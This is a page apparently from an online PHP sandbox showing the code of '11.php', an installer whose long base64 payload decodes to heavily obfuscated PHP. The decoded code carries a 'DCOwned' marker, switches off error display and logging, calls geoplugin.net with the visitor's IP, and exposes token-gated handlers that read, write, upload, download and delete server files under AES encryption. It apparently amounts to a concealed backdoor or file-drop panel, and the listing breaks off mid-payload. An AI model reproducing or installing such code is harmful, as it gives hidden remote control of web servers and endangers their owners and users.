11 - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of 11.php

  1. <?php
  2. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST["install"])) {
  3.     $password = $_POST["server_password"];
  4.     if ($password == "") {
  5.         return;
  6.     }
  7.     $folder_name = bin2hex(random_bytes(8));
  8.     $password = md5($password);
  9.     $src = "ZnVuY3Rpb24gXzQ3OTA5NzgzMigkaSl7JGE9QXJyYXkoIkFFUy0xOTItT0ZCIiwiU0VSVkVSX05BTUUiLCJBRVMtMTkyLU9GQiIsIlNFUlZFUl9OQU1FIiwnRXVyb3BlL0xvbmRvbicsJ2Rpc3BsYXlfZXJyb3JzJywnbG9nX2Vycm9ycycsJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCcxNTAwMDBNJywncG9zdF9tYXhfc2l6ZScsJzE1MDAwME0nLCdtYXhfaW5wdXRfdGltZScsJ21heF9leGVjdXRpb25fdGltZScsIjQ0NjQzODRkZjY1NDk4NWQxN2QzZjhiYjUyZDIyNTg0IiwiRENPd25lZCIsIlMzZnNlUmV3cnN0c3QiLCIyZDQ0NzU5M2RkMTQ5YTJiYmUzMjFkNDI4MWE3Y2UxNTlhNWNhNzU5IiwiLSIsIlNFUlZFUl9OQU1FIiwiZ2V0dG9rZW4iLCJTRVJWRVJfTkFNRSIsImdldHRva2VuIiwiU0VSVkVSX05BTUUiLCdIVFRQX0NMSUVOVF9JUCcsJ0hUVFBfQ0xJRU5UX0lQJywnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCdIVFRQX1hfRk9SV0FSREVEX0ZPUicsJ1JFTU9URV9BRERSJywiU0VSVkVSX05BTUUiLCJ0b2tlbiIsIlNFUlZFUl9OQU1FIiwidGtuIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJTRVJWRVJfTkFNRSIsInN0YXR1cyIsIlNFUlZFUl9OQU1FIiwiT0siLCJTRVJWRVJfTkFNRSIsIndvcmtkaXIiLCJTRVJWRVJfTkFNRSIsImlwaW5mbyIsImh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJXUk9ORyIsIlNFUlZFUl9OQU1FIiwiU0VSVkVSX05BTUUiLCJ2YWwiLCJTRVJWRVJfTkFNRSIsInBhc3N3b3JkIiwiU0VSVkVSX05BTUUiLCJwYXNzd29yZCIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJPSyIsIlNFUlZFUl9OQU1FIiwid29ya2RpciIsIlNFUlZFUl9OQU1FIiwidG9rZW4iLCJTRVJWRVJfTkFNRSIsInRrbiIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJXUk9ORyIsIlNFUlZFUl9OQU1FIiwiU0VSVkVSX05BTUUiLCJ2YWwiLCJTRVJWRVJfTkFNRSIsInRva2VuIiwiU0VSVkVSX05BTUUiLCJ0b2tlbiIsIlNFUlZFUl9OQU1FIiwidG9rZW4iLCJTRVJWRVJfTkFNRSIsInRrbiIsIlNFUlZFUl9OQU1FIiwidG9rZW5fdWlkIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLiIsIiIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiU0VSVkVSX05BTUUiLCJTRVJWRVJfTkFNRSIsIi8iLCJTRVJWRVJfTkFNRSIsInNldGRhdGEiLCJTRVJWRVJfTkFNRSIsInNldGRhdGEiLCJTRVJWRVJfTkFNRSIsIm5hbWUiLCIuIiwiIiwiU0VSVkVSX05BTUUiLCJleHRlbnNpb24iLCJTRVJWRVJfTkFNRSIsImRhdGEiLCJTRVJWRVJfTkFNRSIsInRva2VuX3VpZCIsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvIiwiU0VSVkVSX05BTUUiLCJkb3dubG9hZHNhZmVmaWxlX25hbWUiLCJTRVJWRVJfTkFNRSIsImRvd25sb2Fkc2FmZWZpbGVfbmFtZSIsJ2V4dGVuc2lvbicsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRzYWZlZmlsZV9uYW1lIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRzYWZlZmlsZV9uYW1lIiwnZXh0ZW5zaW9uJywidG1wX25hbWUiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiLyIsIlNFUlZFUl9OQU1FIiwidXBsb2FkZmlsZV9uYW1lIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRmaWxlX25hbWUiLCdleHRlbnNpb24nLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwidG1wX25hbWUiLCIvIiwiU0VSVkVSX05BTUUiLCJhZGRkYXRhIiwiU0VSVkVSX05BTUUiLCJhZGRkYXRhIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLiIsIiIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJkYXRhIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiLyIsIi8iLCJTRVJWRVJfTkFNRSIsImdldGFsbGJ5ZXh0IiwiU0VSVkVSX05BTUUiLCJnZXRhbGxieWV4dCIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJhZGRpdGlvbmFsZGF0YSIsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvKiIsIlNFUlZFUl9OQU1FIiwibmFtZSIsIlNFUlZFUl9OQU1FIiwiZGF0YSIsIlNFUlZFUl9OQU1FIiwibGFzdG1vZGlmaWNhdGlvbnRpbWUiLCJkLm0tSDppIiwiU0VSVkVSX05BTUUiLCJub3d0aW1lIiwiZC5tLUg6aSIsIlNFUlZFUl9OQU1FIiwiYWRkaXRpb25hbGRhdGEiLCJTRVJWRVJfTkFNRSIsIi8iLCJTRVJWRVJfTkFNRSIsImRlbGFsbGJ5bmFtZSIsIlNFUlZFUl9OQU1FIiwiZGVsYWxsYnluYW1lIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLyIsIioiKTtyZXR1cm4gJGFbJGldO30gPz48P3BocCBmdW5jdGlvbiBsXygkXywkX18pe3JldHVybiBvcGVuc3NsX2VuY3J5cHQoJF8sXzQ3OTA5NzgzMigwKSwkX18sJF9fXz1yb3VuZCgwKSwkX1NFUlZFUltfNDc5MDk3ODMyKDEpXSk7fWZ1bmN0aW9uIGxfXygkXywkX19fXyl7cmV0dXJuIG9wZW5zc2xfZGVjcnlwdCgkXyxfNDc5MDk3ODMyKDIpLCRfX19fLCRfX189cm91bmQoMCksJF9TRVJWRVJbXzQ3OTA5NzgzMigzKV0pO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KF80NzkwOTc4MzIoNCkpO2Vycm9yX3JlcG9ydGluZyhyb3VuZCgwKSk7aW5pX3NldChfNDc5MDk3ODMyKDUpLHJvdW5kKDApKTtpbmlfc2V0KF80NzkwOTc4MzIoNikscm91bmQoMCkpO2luaV9zZXQoXzQ3OTA5NzgzMig3KSxfNDc5MDk3ODMyKDgpKTtpbmlfc2V0KF80NzkwOTc4MzIoOSksXzQ3OTA5NzgzMigxMCkpO2luaV9zZXQoXzQ3OTA5NzgzMigxMSkscm91bmQoMCszMDApKTtpbmlfc2V0KF80NzkwOTc4MzIoMTIpLHJvdW5kKDArNzUrNzUrNzUrNzUpKTskX19fX189c2hhMShfNDc5MDk3ODMyKDEzKSk7JF9fX19fXz1fNDc5MDk3ODMyKDE0KTskX19fX19fXz1fNDc5MDk3ODMyKDE1KTskX19fX19fX189XzQ3OTA5NzgzMigxNik7JF9fX19fX19fXz1fNDc5MDk3ODMyKDE3KTtpZihpc3NldCgkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxOCldIC5fNDc5MDk3ODMyKDE5KSldKSl7aWYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjApXSAuXzQ3OTA5NzgzMigyMSkpXT09IG1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIyKV0pKXskX19fX19fX19fXz1yYW5kKHJvdW5kKDArMjAwMCsyMDAwKzIwMDArMjAwMCsyMDAwKSxyb3VuZCgwKzE5OTk5LjgrMTk5OTkuOCsxOTk5OS44KzE5OTk5LjgrMTk5OTkuOCkpO3doaWxlKHRydWUpe2lmKCgkX19fX19fX19fXyVyb3VuZCgwKzIpKT09IHJvdW5kKDApKWJyZWFrOyRfX19fX19fX19fPXJhbmQocm91bmQoMCsyMDAwKzIwMDArMjAwMCsyMDAwKzIwMDApLHJvdW5kKDArMjQ5OTkuNzUrMjQ5OTkuNzUrMjQ5OTkuNzUrMjQ5OTkuNzUpKTt9aWYoIWVtcHR5KCRfU0VSVkVSW180NzkwOTc4MzIoMjMpXSkpeyRfX19fX19fX19fXz0kX1NFUlZFUltfNDc5MDk3ODMyKDI0KV07fWVsc2VpZighZW1wdHkoJF9TRVJWRVJbXzQ3OTA5NzgzMigyNSldKSl7JF9fX19fX19fX19fPSRfU0VSVkVSW180NzkwOTc4MzIoMjYpXTt9ZWxzZXskX19fX19fX19fX189JF9TRVJWRVJbXzQ3OTA5NzgzMigyNyldO30kX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDI4KV0gLl80NzkwOTc4MzIoMjkpKV09JF9fX19fX19fX18gLmNyYzMyKCRfX19fX18gLiRfX19fXyAuJF9fX19fX19fKSAuc2hhMSgkX1NFUlZFUltfNDc5MDk3ODMyKDMwKV0gLl80NzkwOTc4MzIoMzEpIC5iYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzMildIC5fNDc5MDk3ODMyKDMzKSldKSkpOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMzQpXSAuXzQ3OTA5NzgzMigzNSkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzNildIC5fNDc5MDk3ODMyKDM3KSk7JF9fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzOCldIC5fNDc5MDk3ODMyKDM5KSldPXN0cnJldihiYXNlNjRfZW5jb2RlKHN0cnJldigkX19fX19fXykpKTskX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDQwKV0gLl80NzkwOTc4MzIoNDEpKV09c3RycmV2KGJhc2U2NF9lbmNvZGUoc3RycmV2KGZpbGVfZ2V0X2NvbnRlbnRzKF80NzkwOTc4MzIoNDIpIC4kX19fX19fX19fX18pKSkpO31lbHNleyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNDMpXSAuXzQ3OTA5NzgzMig0NCkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig0NSldIC5fNDc5MDk3ODMyKDQ2KSk7fSRfX19fX19fX19fX19fPXJhbmQocm91bmQoMCsxKSxyb3VuZCgwKzMrMyszKzMrMykpO2ZvcigkX19fX19fX19fX19fX189cm91bmQoMCk7JF9fX19fX19fX19fX19fPCRfX19fX19fX19fX19fOyRfX19fX19fX19fX19fXysrKXskX19fX19fX19fX19fX19fPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDQ3KV0gLiRfX19fX19fX19fX19fKTtpZihhcnJheV9rZXlfZXhpc3RzKCRfX19fX19fX19fX19fX18sJF9fX19fX19fX19fXykpY29udGludWU7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig0OCldIC5fNDc5MDk3ODMyKDQ5KSAuJF9fX19fX19fX19fX18pO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO3JldHVybjt9ZWxzZWlmKGlzc2V0KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDUwKV0gLl80NzkwOTc4MzIoNTEpKV0pKXtpZigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig1MildIC5fNDc5MDk3ODMyKDUzKSldPT0gJF9fX19fKXskX19fX19fX19fXz1yYW5kKHJvdW5kKDArMzMzMy4zMzMzMzMzMzMzKzMzMzMuMzMzMzMzMzMzMyszMzMzLjMzMzMzMzMzMzMpLHJvdW5kKDArMTk5OTkuOCsxOTk5OS44KzE5OTk5LjgrMTk5OTkuOCsxOTk5OS44KSk7d2hpbGUodHJ1ZSl7aWYoKCRfX19fX19fX19fJXJvdW5kKDArMC42NjY2NjY2NjY2NjY2NyswLjY2NjY2NjY2NjY2NjY3KzAuNjY2NjY2NjY2NjY2NjcpKT09IHJvdW5kKDArMC4yKzAuMiswLjIrMC4yKzAuMikpYnJlYWs7JF9fX19fX19fX189cmFuZChyb3VuZCgwKzI1MDArMjUwMCsyNTAwKzI1MDApLHJvdW5kKDArOTk5OTkpKTt9JF9fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig1NCldIC5fNDc5MDk3ODMyKDU1KSldPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDU2KV0gLl80NzkwOTc4MzIoNTcpKTskX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDU4KV0gLl80NzkwOTc4MzIoNTkpKV09c3RycmV2KGJhc2U2NF9lbmNvZGUoc3RycmV2KCRfX19fX19fKSkpOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNjApXSAuXzQ3OTA5NzgzMig2MSkpXT0kX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pIC5zaGExKCRfU0VSVkVSW180NzkwOTc4MzIoNjIpXSAuXzQ3OTA5NzgzMig2MykpO31lbHNleyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNjQpXSAuXzQ3OTA5NzgzMig2NSkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig2NildIC5fNDc5MDk3ODMyKDY3KSk7fSRfX19fX19fX19fX19fPXJhbmQocm91bmQoMCswLjMzMzMzMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMykscm91bmQoMCs1KzUrNSkpO2ZvcigkX19fX19fX19fX19fX189cm91bmQoMCk7JF9fX19fX19fX19fX19fPCRfX19fX19fX19fX19fOyRfX19fX19fX19fX19fXysrKXskX19fX19fX19fX19fX19fPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDY4KV0gLiRfX19fX19fX19fX19fKTtpZihhcnJheV9rZXlfZXhpc3RzKCRfX19fX19fX19fX19fX18sJF9fX19fX19fX19fXykpY29udGludWU7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig2OSldIC5fNDc5MDk3ODMyKDcwKSAuJF9fX19fX19fX19fX18pO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO3JldHVybjt9JF9fX19fX19fX19fX19fX189ZmFsc2U7aWYoaXNzZXQoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNzEpXSAuXzQ3OTA5NzgzMig3MikpXSkpe2lmKChpbnR2YWwoc3Vic3RyKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDczKV0gLl80NzkwOTc4MzIoNzQpKV0pKSxyb3VuZCgwKSxyb3VuZCgwKzUpKSklcm91bmQoMCsxKzEpKT09IHJvdW5kKDArMC41KzAuNSkpeyRfX19fX19fX19fX19fX19fPXRydWU7fWVsc2VpZihzdWJzdHIoYmFzZTY0X2RlY29kZShzdHJyZXYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNzUpXSAuXzQ3OTA5NzgzMig3NikpXSkpLHJvdW5kKDArMSsxKzErMSsxKSk9PSBjcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykgLnNoYTEoJF9TRVJWRVJbXzQ3OTA5NzgzMig3NyldIC5fNDc5MDk3ODMyKDc4KSAuc2hhMShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig3OSldIC5fNDc5MDk3ODMyKDgwKSldKSkpKSl7JF9fX19fX19fX19fX19fX189ZmFsc2U7fWVsc2V7cmV0dXJuO319ZWxzZXtyZXR1cm47fWlmKCFlbXB0eSgkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4MSldIC5fNDc5MDk3ODMyKDgyKSldKSl7JF9fX19fX19fX19fXz1hcnJheSgpOyRfX19fX19fX19fX19fX19fXz1qc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4MyldIC5fNDc5MDk3ODMyKDg0KSldKSksdHJ1ZSk7Zm9yZWFjaCgkX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4NSldIC5fNDc5MDk3ODMyKDg2KSldOyRfX19fX19fX19fX19fX19fX19fXz1zdHJfcmVwbGFjZShfNDc5MDk3ODMyKDg3KSxfNDc5MDk3ODMyKDg4KSwkX19fX19fX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDg5KV0gLl80NzkwOTc4MzIoOTApKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig5MSldIC5fNDc5MDk3ODMyKDkyKSldKSkpe3JldHVybjt9fWlmKCRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDkzKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk0KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk2KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk3KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk4KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk5KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEwMClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMDEpKWNvbnRpbnVlOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTAyKV0gLiRfX19fX19fX19fX19fX19fX19fKV1bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTAzKV0gLiRfX19fX19fX19fX19fX19fX19fXyldPWJhc2U2NF9lbmNvZGUobF9fKGZpbGVfZ2V0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDEwNCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO31pZighZW1wdHkoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTA1KV0gLl80NzkwOTc4MzIoMTA2KSldKSl7JF9fX19fX19fX19fX19fX19fX19fXz1qc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMDcpXSAuXzQ3OTA5NzgzMigxMDgpKV0pKSx0cnVlKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMDkpXSAuXzQ3OTA5NzgzMigxMTApKV07JF9fX19fX19fX19fX19fX19fX19fPXN0cl9yZXBsYWNlKF80NzkwOTc4MzIoMTExKSxfNDc5MDk3ODMyKDExMiksJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTMpXSAuXzQ3OTA5NzgzMigxMTQpKV0pOyRfX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTUpXSAuXzQ3OTA5NzgzMigxMTYpKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTcpXSAuXzQ3OTA5NzgzMigxMTgpKV0pKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fXykhPSByb3VuZCgwKzIwKzIwKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fX18pIT0gcm91bmQoMCsxMy4zMzMzMzMzMzMzMzMrMTMuMzMzMzMzMzMzMzMzKzEzLjMzMzMzMzMzMzMzMykpe3JldHVybjt9fWlmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX18pb3IhY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTE5KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyMClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjEpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTIyKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyMylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjQpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTI1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyNilvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjcpKWNvbnRpbnVlO2ZpbGVfcHV0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDEyOCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18sbF8oJF9fX19fX19fX19fX19fX19fX19fX18sbWQ1KCRfX19fX19fX19fX19fX19fX19fIC5jcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykpKSk7fX1pZighZW1wdHkoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTI5KV0gLl80NzkwOTc4MzIoMTMwKSldKSl7JF9fX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDEzMSldIC5fNDc5MDk3ODMyKDEzMikpXSkpOyRfX19fX19fX19fX19fX19fX19fX19fX189cGF0aGluZm8oJF9fX19fX19fX19fX19fX19fX19fX19fKVtfNDc5MDk3ODMyKDEzMyldO2lmKCRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gbnVsbCl7JF9fX19fX19fX19fX19fX19fX19fX19fXz1leHBsb2RlKCRfX19fX19fX18sJF9fX19fX19fX19fX19fX19fX19fX19fKVtyb3VuZCgwKzAuMjUrMC4yNSswLjI1KzAuMjUpXTt9aWYoJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEzNClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTM1KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMzYpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEzNylvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTM4KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMzkpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE0MClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTQxKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNDIpKXJldHVybjtlY2hvKGxfXyhmaWxlX2dldF9jb250ZW50cygkX19fX19fXyAuXzQ3OTA5NzgzMigxNDMpIC4kX19fX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fX19fX18gLmNyYzMyKCRfX19fX18gLiRfX19fXyAuJF9fX19fX19fKSkpKTt9aWYoIWVtcHR5KCRfUE9TVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxNDQpXSAuXzQ3OTA5NzgzMigxNDUpKV0pKXskX19fX19fX19fX19fX19fX19fX19fX189YmFzZTY0X2RlY29kZShzdHJyZXYoJF9QT1NUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE0NildIC5fNDc5MDk3ODMyKDE0NykpXSkpOyRfX19fX19fX19fX19fX19fX19fX19fX189cGF0aGluZm8oJF9fX19fX19fX19fX19fX19fX19fX19fKVtfNDc5MDk3ODMyKDE0OCldO2lmKCRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gbnVsbCl7JF9fX19fX19fX19fX19fX19fX19fX19fXz1leHBsb2RlKCRfX19fX19fX18sJF9fX19fX19fX19fX19fX19fX19fX19fKVtyb3VuZCgwKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMyswLjMzMzMzMzMzMzMzMzMzKV07fSRfX19fX19fX19fX19fX19fX19fX19fPWZpbGVfZ2V0X2NvbnRlbnRzKCRfRklMRVNbbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyldW180NzkwOTc4MzIoMTQ5KV0pO2lmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1MClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTUxKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTIpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1MylvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTU0KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTUpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1NilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTU3KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTgpKXJldHVybjtmaWxlX3B1dF9jb250ZW50cygkX19fX19fXyAuXzQ3OTA5NzgzMigxNTkpIC4kX19fX19fX19fX19fX19fX19fX19fX18sbF8oJF9fX19fX19fX19fX19fX19fX19fX18sbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO31pZighZW1wdHkoJF9QT1NUW21kNSgkX1NFUlZFUltfNDc5MD